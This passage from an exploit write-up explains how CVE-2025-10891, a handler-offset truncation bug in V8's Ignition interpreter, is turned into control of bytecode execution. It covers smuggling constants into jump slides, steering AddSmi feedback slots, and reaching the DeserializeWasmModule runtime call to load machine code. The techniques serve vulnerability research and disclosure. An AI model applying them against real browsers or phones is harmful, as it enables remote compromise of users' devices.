locally compiled ",{"type":24,"tag":156,"props":134513,"children":134515},{"className":134514},[],[134516],{"type":30,"value":134517},"d8",{"type":30,"value":134519}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":33,"props":134521,"children":134522},{},[134523,134525,134532],{"type":30,"value":134524},"Another one was ",{"type":24,"tag":37,"props":134526,"children":134529},{"href":134527,"rel":134528},"https://issuetracker.google.com/issues/443875388",[41],[134530],{"type":30,"value":134531},"CVE-2025-10891",{"type":30,"value":134533}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":68,"props":134535,"children":134537},{"id":134536},"ignition-bytecode-introduction",[134538],{"type":30,"value":134539},"Ignition Bytecode Introduction",{"type":24,"tag":33,"props":134541,"children":134542},{},[134543,134545,134552],{"type":30,"value":134544},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":37,"props":134546,"children":134549},{"href":134547,"rel":134548},"https://v8.dev/blog/ignition-interpreter",[41],[134550],{"type":30,"value":134551},"Ignition",{"type":30,"value":134553}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":920,"props":134555,"children":134557},{"code":134556,"language":34457,"meta":7,"className":34455,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[134558],{"type":24,"tag":156,"props":134559,"children":134560},{"__ignoreMap":7},[134561,134584,134608,134632],{"type":24,"tag":930,"props":134562,"children":134563},{"class":932,"line":933},[134564,134568,134572,134576,134580],{"type":24,"tag":930,"props":134565,"children":134566},{"style":937},[134567],{"type":30,"value":14894},{"type":24,"tag":930,"props":134569,"children":134570},{"style":1023},[134571],{"type":30,"value":92902},{"type":24,"tag":930,"props":134573,"children":134574},{"style":1158},[134575],{"type":30,"value":6137},{"type":24,"tag":930,"props":134577,"children":134578},{"style":1242},[134579],{"type":30,"value":7637},{"type":24,"tag":930,"props":134581,"children":134582},{"style":959},[134583],{"type":30,"value":5539},{"type":24,"tag":930,"props":134585,"children":134586},{"class":932,"line":984},[134587,134591,134595,134599,134604],{"type":24,"tag":930,"props":134588,"children":134589},{"style":937},[134590],{"type":30,"value":14894},{"type":24,"tag":930,"props":134592,"children":134593},{"style":1023},[134594],{"type":30,"value":93775},{"type":24,"tag":930,"props":134596,"children":134597},{"style":1158},[134598],{"type":30,"value":6137},{"type":24,"tag":930,"props":134600,"children":134601},{"style":1242},[134602],{"type":30,"value":134603}," 0x0fff",{"type":24,"tag":930,"props":134605,"children":134606},{"style":959},[134607],{"type":30,"value":5539},{"type":24,"tag":930,"props":134609,"children":134610},{"class":932,"line":993},[134611,134615,134619,134623,134628],{"type":24,"tag":930,"props":134612,"children":134613},{"style":937},[134614],{"type":30,"value":14894},{"type":24,"tag":930,"props":134616,"children":134617},{"style":1023},[134618],{"type":30,"value":40533},{"type":24,"tag":930,"props":134620,"children":134621},{"style":1158},[134622],{"type":30,"value":6137},{"type":24,"tag":930,"props":134624,"children":134625},{"style":1242},[134626],{"type":30,"value":134627}," 0x0fffffff",{"type":24,"tag":930,"props":134629,"children":134630},{"style":959},[134631],{"type":30,"value":5539},{"type":24,"tag":930,"props":134633,"children":134634},{"class":932,"line":1057},[134635,134639,134644,134648,134653],{"type":24,"tag":930,"props":134636,"children":134637},{"style":937},[134638],{"type":30,"value":14894},{"type":24,"tag":930,"props":134640,"children":134641},{"style":1023},[134642],{"type":30,"value":134643}," d",{"type":24,"tag":930,"props":134645,"children":134646},{"style":1158},[134647],{"type":30,"value":6137},{"type":24,"tag":930,"props":134649,"children":134650},{"style":1242},[134651],{"type":30,"value":134652}," 0xffffffff",{"type":24,"tag":930,"props":134654,"children":134655},{"style":959},[134656],{"type":30,"value":5539},{"type":24,"tag":33,"props":134658,"children":134659},{},[134660],{"type":30,"value":134661},"compiles to",{"type":24,"tag":920,"props":134663,"children":134665},{"code":134664}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[134666],{"type":24,"tag":156,"props":134667,"children":134668},{"__ignoreMap":7},[134669],{"type":30,"value":134664},{"type":24,"tag":33,"props":134671,"children":134672},{},[134673],{"type":30,"value":134674},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":151,"props":134676,"children":134678},{"id":134677},"cve-2025-10891",[134679],{"type":30,"value":134531},{"type":24,"tag":33,"props":134681,"children":134682},{},[134683,134685,134691,134693,134699],{"type":30,"value":134684},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":156,"props":134686,"children":134688},{"className":134687},[],[134689],{"type":30,"value":134690},"[start, end) => handler",{"type":30,"value":134692}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":156,"props":134694,"children":134696},{"className":134695},[],[134697],{"type":30,"value":134698},"handler",{"type":30,"value":134700}," is jumped to.",{"type":24,"tag":920,"props":134702,"children":134704},{"code":134703,"language":34457,"meta":7,"className":34455,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[134705],{"type":24,"tag":156,"props":134706,"children":134707},{"__ignoreMap":7},[134708,134719,134734,134749,134772],{"type":24,"tag":930,"props":134709,"children":134710},{"class":932,"line":933},[134711,134715],{"type":24,"tag":930,"props":134712,"children":134713},{"style":1079},[134714],{"type":30,"value":51421},{"type":24,"tag":930,"props":134716,"children":134717},{"style":959},[134718],{"type":30,"value":981},{"type":24,"tag":930,"props":134720,"children":134721},{"class":932,"line":984},[134722,134726,134730],{"type":24,"tag":930,"props":134723,"children":134724},{"style":1079},[134725],{"type":30,"value":38290},{"type":24,"tag":930,"props":134727,"children":134728},{"style":1242},[134729],{"type":30,"value":7637},{"type":24,"tag":930,"props":134731,"children":134732},{"style":959},[134733],{"type":30,"value":5539},{"type":24,"tag":930,"props":134735,"children":134736},{"class":932,"line":993},[134737,134741,134745],{"type":24,"tag":930,"props":134738,"children":134739},{"style":959},[134740],{"type":30,"value":49963},{"type":24,"tag":930,"props":134742,"children":134743},{"style":1079},[134744],{"type":30,"value":4760},{"type":24,"tag":930,"props":134746,"children":134747},{"style":959},[134748],{"type":30,"value":981},{"type":24,"tag":930,"props":134750,"children":134751},{"class":932,"line":1057},[134752,134756,134760,134764,134768],{"type":24,"tag":930,"props":134753,"children":134754},{"style":937},[134755],{"type":30,"value":10965},{"type":24,"tag":930,"props":134757,"children":134758},{"style":1023},[134759],{"type":30,"value":93775},{"type":24,"tag":930,"props":134761,"children":134762},{"style":1158},[134763],{"type":30,"value":6137},{"type":24,"tag":930,"props":134765,"children":134766},{"style":1242},[134767],{"type":30,"value":11044},{"type":24,"tag":930,"props":134769,"children":134770},{"style":959},[134771],{"type":30,"value":5539},{"type":24,"tag":930,"props":134773,"children":134774},{"class":932,"line":1066},[134775],{"type":24,"tag":930,"props":134776,"children":134777},{"style":959},[134778],{"type":30,"value":2528},{"type":24,"tag":920,"props":134780,"children":134782},{"code":134781}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[134783],{"type":24,"tag":156,"props":134784,"children":134785},{"__ignoreMap":7},[134786],{"type":30,"value":134781},{"type":24,"tag":33,"props":134788,"children":134789},{},[134790,134792,134797,134799,134804],{"type":30,"value":134791},"However, the ",{"type":24,"tag":156,"props":134793,"children":134795},{"className":134794},[],[134796],{"type":30,"value":134698},{"type":30,"value":134798}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":156,"props":134800,"children":134802},{"className":134801},[],[134803],{"type":30,"value":4760},{"type":30,"value":134805}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":33,"props":134807,"children":134808},{},[134809,134811,134817],{"type":30,"value":134810},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":156,"props":134812,"children":134814},{"className":134813},[],[134815],{"type":30,"value":134816},"yield*",{"type":30,"value":134818}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":68,"props":134820,"children":134822},{"id":134821},"exploitation",[134823],{"type":30,"value":134824},"Exploitation",{"type":24,"tag":151,"props":134826,"children":134828},{"id":134827},"constant-smuggling",[134829],{"type":30,"value":134830},"Constant Smuggling",{"type":24,"tag":33,"props":134832,"children":134833},{},[134834,134836,134843],{"type":30,"value":134835},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":37,"props":134837,"children":134840},{"href":134838,"rel":134839},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[41],[134841],{"type":30,"value":134842},"technique",{"type":30,"value":134844}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":920,"props":134846,"children":134848},{"code":134847,"language":34457,"meta":7,"className":34455,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134849],{"type":24,"tag":156,"props":134850,"children":134851},{"__ignoreMap":7},[134852,134880,134907,134934],{"type":24,"tag":930,"props":134853,"children":134854},{"class":932,"line":933},[134855,134859,134863,134867,134871,134876],{"type":24,"tag":930,"props":134856,"children":134857},{"style":937},[134858],{"type":30,"value":14894},{"type":24,"tag":930,"props":134860,"children":134861},{"style":1023},[134862],{"type":30,"value":92902},{"type":24,"tag":930,"props":134864,"children":134865},{"style":1158},[134866],{"type":30,"value":6137},{"type":24,"tag":930,"props":134868,"children":134869},{"style":1158},[134870],{"type":30,"value":54344},{"type":24,"tag":930,"props":134872,"children":134873},{"style":1242},[134874],{"type":30,"value":134875},"9.255963134931783e61",{"type":24,"tag":930,"props":134877,"children":134878},{"style":959},[134879],{"type":30,"value":5539},{"type":24,"tag":930,"props":134881,"children":134882},{"class":932,"line":984},[134883,134887,134891,134895,134899,134903],{"type":24,"tag":930,"props":134884,"children":134885},{"style":937},[134886],{"type":30,"value":14894},{"type":24,"tag":930,"props":134888,"children":134889},{"style":1023},[134890],{"type":30,"value":93775},{"type":24,"tag":930,"props":134892,"children":134893},{"style":1158},[134894],{"type":30,"value":6137},{"type":24,"tag":930,"props":134896,"children":134897},{"style":1158},[134898],{"type":30,"value":54344},{"type":24,"tag":930,"props":134900,"children":134901},{"style":1242},[134902],{"type":30,"value":134875},{"type":24,"tag":930,"props":134904,"children":134905},{"style":959},[134906],{"type":30,"value":5539},{"type":24,"tag":930,"props":134908,"children":134909},{"class":932,"line":993},[134910,134914,134918,134922,134926,134930],{"type":24,"tag":930,"props":134911,"children":134912},{"style":937},[134913],{"type":30,"value":14894},{"type":24,"tag":930,"props":134915,"children":134916},{"style":1023},[134917],{"type":30,"value":40533},{"type":24,"tag":930,"props":134919,"children":134920},{"style":1158},[134921],{"type":30,"value":6137},{"type":24,"tag":930,"props":134923,"children":134924},{"style":1158},[134925],{"type":30,"value":54344},{"type":24,"tag":930,"props":134927,"children":134928},{"style":1242},[134929],{"type":30,"value":134875},{"type":24,"tag":930,"props":134931,"children":134932},{"style":959},[134933],{"type":30,"value":5539},{"type":24,"tag":930,"props":134935,"children":134936},{"class":932,"line":1057},[134937,134941,134945,134949,134953,134957],{"type":24,"tag":930,"props":134938,"children":134939},{"style":937},[134940],{"type":30,"value":14894},{"type":24,"tag":930,"props":134942,"children":134943},{"style":1023},[134944],{"type":30,"value":134643},{"type":24,"tag":930,"props":134946,"children":134947},{"style":1158},[134948],{"type":30,"value":6137},{"type":24,"tag":930,"props":134950,"children":134951},{"style":1158},[134952],{"type":30,"value":54344},{"type":24,"tag":930,"props":134954,"children":134955},{"style":1242},[134956],{"type":30,"value":134875},{"type":24,"tag":930,"props":134958,"children":134959},{"style":959},[134960],{"type":30,"value":5539},{"type":24,"tag":33,"props":134962,"children":134963},{},[134964],{"type":30,"value":134965},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":33,"props":134967,"children":134968},{},[134969],{"type":30,"value":134970},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":920,"props":134972,"children":134974},{"code":134973},"let a = 0x0693bebe;\n",[134975],{"type":24,"tag":156,"props":134976,"children":134977},{"__ignoreMap":7},[134978],{"type":30,"value":134973},{"type":24,"tag":33,"props":134980,"children":134981},{},[134982],{"type":30,"value":134983},"We will compile the bytecode:",{"type":24,"tag":920,"props":134985,"children":134987},{"code":134986},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134988],{"type":24,"tag":156,"props":134989,"children":134990},{"__ignoreMap":7},[134991],{"type":30,"value":134986},{"type":24,"tag":33,"props":134993,"children":134994},{},[134995,134997,135003,135005,135011,135012,135018],{"type":30,"value":134996},"We can then jump to the 3rd byte (",{"type":24,"tag":156,"props":134998,"children":135000},{"className":134999},[],[135001],{"type":30,"value":135002},"0xbe",{"type":30,"value":135004},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":156,"props":135006,"children":135008},{"className":135007},[],[135009],{"type":30,"value":135010},"0x93 0x02 - 0xf",{"type":30,"value":1087},{"type":24,"tag":156,"props":135013,"children":135015},{"className":135014},[],[135016],{"type":30,"value":135017},"Jump +[2-15]",{"type":30,"value":135019},") to jump into the next constant.",{"type":24,"tag":33,"props":135021,"children":135022},{},[135023,135025,135031,135033,135039,135041,135047],{"type":30,"value":135024},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":156,"props":135026,"children":135028},{"className":135027},[],[135029],{"type":30,"value":135030},"StarX",{"type":30,"value":135032}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":156,"props":135034,"children":135036},{"className":135035},[],[135037],{"type":30,"value":135038},"Star rX",{"type":30,"value":135040}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":156,"props":135042,"children":135044},{"className":135043},[],[135045],{"type":30,"value":135046},"Star.ExtraWide rX",{"type":30,"value":135048}," instructions.",{"type":24,"tag":33,"props":135050,"children":135051},{},[135052,135054,135060],{"type":30,"value":135053},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":156,"props":135055,"children":135057},{"className":135056},[],[135058],{"type":30,"value":135059},"0x8931111",{"type":30,"value":476},{"type":24,"tag":920,"props":135062,"children":135064},{"code":135063,"language":34457,"meta":7,"className":34455,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[135065],{"type":24,"tag":156,"props":135066,"children":135067},{"__ignoreMap":7},[135068,135093,135117,135141,135165,135189,135213],{"type":24,"tag":930,"props":135069,"children":135070},{"class":932,"line":933},[135071,135075,135080,135084,135089],{"type":24,"tag":930,"props":135072,"children":135073},{"style":937},[135074],{"type":30,"value":14894},{"type":24,"tag":930,"props":135076,"children":135077},{"style":1023},[135078],{"type":30,"value":135079}," a206",{"type":24,"tag":930,"props":135081,"children":135082},{"style":1158},[135083],{"type":30,"value":6137},{"type":24,"tag":930,"props":135085,"children":135086},{"style":1242},[135087],{"type":30,"value":135088}," 0x8931111",{"type":24,"tag":930,"props":135090,"children":135091},{"style":959},[135092],{"type":30,"value":5539},{"type":24,"tag":930,"props":135094,"children":135095},{"class":932,"line":984},[135096,135100,135105,135109,135113],{"type":24,"tag":930,"props":135097,"children":135098},{"style":937},[135099],{"type":30,"value":14894},{"type":24,"tag":930,"props":135101,"children":135102},{"style":1023},[135103],{"type":30,"value":135104}," a207",{"type":24,"tag":930,"props":135106,"children":135107},{"style":1158},[135108],{"type":30,"value":6137},{"type":24,"tag":930,"props":135110,"children":135111},{"style":1242},[135112],{"type":30,"value":135088},{"type":24,"tag":930,"props":135114,"children":135115},{"style":959},[135116],{"type":30,"value":5539},{"type":24,"tag":930,"props":135118,"children":135119},{"class":932,"line":993},[135120,135124,135129,135133,135137],{"type":24,"tag":930,"props":135121,"children":135122},{"style":937},[135123],{"type":30,"value":14894},{"type":24,"tag":930,"props":135125,"children":135126},{"style":1023},[135127],{"type":30,"value":135128}," a208",{"type":24,"tag":930,"props":135130,"children":135131},{"style":1158},[135132],{"type":30,"value":6137},{"type":24,"tag":930,"props":135134,"children":135135},{"style":1242},[135136],{"type":30,"value":135088},{"type":24,"tag":930,"props":135138,"children":135139},{"style":959},[135140],{"type":30,"value":5539},{"type":24,"tag":930,"props":135142,"children":135143},{"class":932,"line":1057},[135144,135148,135153,135157,135161],{"type":24,"tag":930,"props":135145,"children":135146},{"style":937},[135147],{"type":30,"value":14894},{"type":24,"tag":930,"props":135149,"children":135150},{"style":1023},[135151],{"type":30,"value":135152}," a209",{"type":24,"tag":930,"props":135154,"children":135155},{"style":1158},[135156],{"type":30,"value":6137},{"type":24,"tag":930,"props":135158,"children":135159},{"style":1242},[135160],{"type":30,"value":135088},{"type":24,"tag":930,"props":135162,"children":135163},{"style":959},[135164],{"type":30,"value":5539},{"type":24,"tag":930,"props":135166,"children":135167},{"class":932,"line":1066},[135168,135172,135177,135181,135185],{"type":24,"tag":930,"props":135169,"children":135170},{"style":937},[135171],{"type":30,"value":14894},{"type":24,"tag":930,"props":135173,"children":135174},{"style":1023},[135175],{"type":30,"value":135176}," a210",{"type":24,"tag":930,"props":135178,"children":135179},{"style":1158},[135180],{"type":30,"value":6137},{"type":24,"tag":930,"props":135182,"children":135183},{"style":1242},[135184],{"type":30,"value":135088},{"type":24,"tag":930,"props":135186,"children":135187},{"style":959},[135188],{"type":30,"value":5539},{"type":24,"tag":930,"props":135190,"children":135191},{"class":932,"line":1075},[135192,135196,135201,135205,135209],{"type":24,"tag":930,"props":135193,"children":135194},{"style":937},[135195],{"type":30,"value":14894},{"type":24,"tag":930,"props":135197,"children":135198},{"style":1023},[135199],{"type":30,"value":135200}," a211",{"type":24,"tag":930,"props":135202,"children":135203},{"style":1158},[135204],{"type":30,"value":6137},{"type":24,"tag":930,"props":135206,"children":135207},{"style":1242},[135208],{"type":30,"value":135088},{"type":24,"tag":930,"props":135210,"children":135211},{"style":959},[135212],{"type":30,"value":5539},{"type":24,"tag":930,"props":135214,"children":135215},{"class":932,"line":1122},[135216,135220,135225,135229,135233],{"type":24,"tag":930,"props":135217,"children":135218},{"style":937},[135219],{"type":30,"value":14894},{"type":24,"tag":930,"props":135221,"children":135222},{"style":1023},[135223],{"type":30,"value":135224}," a212",{"type":24,"tag":930,"props":135226,"children":135227},{"style":1158},[135228],{"type":30,"value":6137},{"type":24,"tag":930,"props":135230,"children":135231},{"style":1242},[135232],{"type":30,"value":135088},{"type":24,"tag":930,"props":135234,"children":135235},{"style":959},[135236],{"type":30,"value":5539},{"type":24,"tag":33,"props":135238,"children":135239},{},[135240],{"type":30,"value":135241},"Those instructions result in:",{"type":24,"tag":920,"props":135243,"children":135245},{"code":135244},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[135246],{"type":24,"tag":156,"props":135247,"children":135248},{"__ignoreMap":7},[135249],{"type":30,"value":135244},{"type":24,"tag":33,"props":135251,"children":135252},{},[135253,135255,135261,135263,135267],{"type":30,"value":135254},"(The offset of ",{"type":24,"tag":156,"props":135256,"children":135258},{"className":135257},[],[135259],{"type":30,"value":135260},"Jump",{"type":30,"value":135262}," instructions is added to the ",{"type":24,"tag":6032,"props":135264,"children":135265},{},[135266],{"type":30,"value":74172},{"type":30,"value":135268}," of the instruction.)",{"type":24,"tag":33,"props":135270,"children":135271},{},[135272,135274,135280],{"type":30,"value":135273},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":156,"props":135275,"children":135277},{"className":135276},[],[135278],{"type":30,"value":135279},"LdaSmi.ExtraWide",{"type":30,"value":135281}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":151,"props":135283,"children":135285},{"id":135284},"exploit-goal",[135286],{"type":30,"value":135287},"Exploit Goal",{"type":24,"tag":33,"props":135289,"children":135290},{},[135291,135293,135299,135300,135306],{"type":30,"value":135292},"Initially we considered using ",{"type":24,"tag":156,"props":135294,"children":135296},{"className":135295},[],[135297],{"type":30,"value":135298},"Star",{"type":30,"value":1471},{"type":24,"tag":156,"props":135301,"children":135303},{"className":135302},[],[135304],{"type":30,"value":135305},"Ldar",{"type":30,"value":135307}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":33,"props":135309,"children":135310},{},[135311,135313,135320],{"type":30,"value":135312},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":37,"props":135314,"children":135317},{"href":135315,"rel":135316},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[41],[135318],{"type":30,"value":135319},"stack pivot and ROP",{"type":30,"value":135321},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":33,"props":135323,"children":135324},{},[135325],{"type":30,"value":135326},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":33,"props":135328,"children":135329},{},[135330],{"type":30,"value":135331},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":33,"props":135333,"children":135334},{},[135335,135337,135343,135345,135351,135353,135359],{"type":30,"value":135336},"At this point, we identified an interesting opcode: ",{"type":24,"tag":156,"props":135338,"children":135340},{"className":135339},[],[135341],{"type":30,"value":135342},"CallRuntime",{"type":30,"value":135344},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":156,"props":135346,"children":135348},{"className":135347},[],[135349],{"type":30,"value":135350},"--allow-natives-syntax",{"type":30,"value":135352}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":156,"props":135354,"children":135356},{"className":135355},[],[135357],{"type":30,"value":135358},"DeserializeWasmModule",{"type":30,"value":436},{"type":24,"tag":33,"props":135361,"children":135362},{},[135363,135365,135372,135373,135378,135379,135385,135387,135394],{"type":30,"value":135364},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":37,"props":135366,"children":135369},{"href":135367,"rel":135368},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[41],[135370],{"type":30,"value":135371},"JIT-compiled functions",{"type":30,"value":21633},{"type":24,"tag":156,"props":135374,"children":135376},{"className":135375},[],[135377],{"type":30,"value":135358},{"type":30,"value":1471},{"type":24,"tag":156,"props":135380,"children":135382},{"className":135381},[],[135383],{"type":30,"value":135384},"SerializeWasmModule",{"type":30,"value":135386}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":37,"props":135388,"children":135391},{"href":135389,"rel":135390},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[41],[135392],{"type":30,"value":135393},"removed",{"type":30,"value":135395}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":33,"props":135397,"children":135398},{},[135399,135401,135407,135409,135415,135417,135422,135424,135430,135432,135437,135438,135443,135444,135449,135451,135457,135459,135463],{"type":30,"value":135400},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":156,"props":135402,"children":135404},{"className":135403},[],[135405],{"type":30,"value":135406},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":30,"value":135408},"\nWhere ",{"type":24,"tag":156,"props":135410,"children":135412},{"className":135411},[],[135413],{"type":30,"value":135414},"func-id",{"type":30,"value":135416}," is a 2-byte function ID, ",{"type":24,"tag":156,"props":135418,"children":135420},{"className":135419},[],[135421],{"type":30,"value":41316},{"type":30,"value":135423}," is the index of the last register passed and ",{"type":24,"tag":156,"props":135425,"children":135427},{"className":135426},[],[135428],{"type":30,"value":135429},"argc",{"type":30,"value":135431}," is the number of arguments passed (e.g. passing ",{"type":24,"tag":156,"props":135433,"children":135435},{"className":135434},[],[135436],{"type":30,"value":47472},{"type":30,"value":962},{"type":24,"tag":156,"props":135439,"children":135441},{"className":135440},[],[135442],{"type":30,"value":47615},{"type":30,"value":211},{"type":24,"tag":156,"props":135445,"children":135447},{"className":135446},[],[135448],{"type":30,"value":47598},{"type":30,"value":135450}," would be encoded as ",{"type":24,"tag":156,"props":135452,"children":135454},{"className":135453},[],[135455],{"type":30,"value":135456},"\u003Cr2> \u003C3>",{"type":30,"value":135458},").\nThis requires ",{"type":24,"tag":6032,"props":135460,"children":135461},{},[135462],{"type":30,"value":21210},{"type":30,"value":135464}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":151,"props":135466,"children":135468},{"id":135467},"better-bytecode-control",[135469],{"type":30,"value":135470},"Better Bytecode Control",{"type":24,"tag":33,"props":135472,"children":135473},{},[135474,135476,135483,135485,135491],{"type":30,"value":135475},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":37,"props":135477,"children":135480},{"href":135478,"rel":135479},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[41],[135481],{"type":30,"value":135482},"feedback vector slot",{"type":30,"value":135484},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":156,"props":135486,"children":135488},{"className":135487},[],[135489],{"type":30,"value":135490},"AddSmi",{"type":30,"value":135492}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":33,"props":135494,"children":135495},{},[135496],{"type":30,"value":135497},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":920,"props":135499,"children":135501},{"code":135500},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[135502],{"type":24,"tag":156,"props":135503,"children":135504},{"__ignoreMap":7},[135505],{"type":30,"value":135500},{"type":24,"tag":33,"props":135507,"children":135508},{},[135509,135511,135517],{"type":30,"value":135510},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":156,"props":135512,"children":135514},{"className":135513},[],[135515],{"type":30,"value":135516},"AddSmi.ExtraWide",{"type":30,"value":135518},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":33,"props":135520,"children":135521},{},[135522],{"type":30,"value":135523},"Eventually, we can reach a stage like this:",{"type":24,"tag":920,"props":135525,"children":135527},{"code":135526},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[135528],{"type":24,"tag":156,"props":135529,"children":135530},{"__ignoreMap":7},[135531],{"type":30,"value":135526},{"type":24,"tag":33,"props":135533,"children":135534},{},[135535],{"type":30,"value":135536},"If you skip the first two bytes, you have",{"type":24,"tag":96,"props":135538,"children":135539},{},[135540,135571],{"type":24,"tag":100,"props":135541,"children":135542},{},[135543,135548,135550,135555,135557,135563,135565],{"type":24,"tag":156,"props":135544,"children":135546},{"className":135545},[],[135547],{"type":30,"value":135342},{"type":30,"value":135549}," (0x6c) to ",{"type":24,"tag":156,"props":135551,"children":135553},{"className":135552},[],[135554],{"type":30,"value":135358},{"type":30,"value":135556}," (0x0266) starting from register 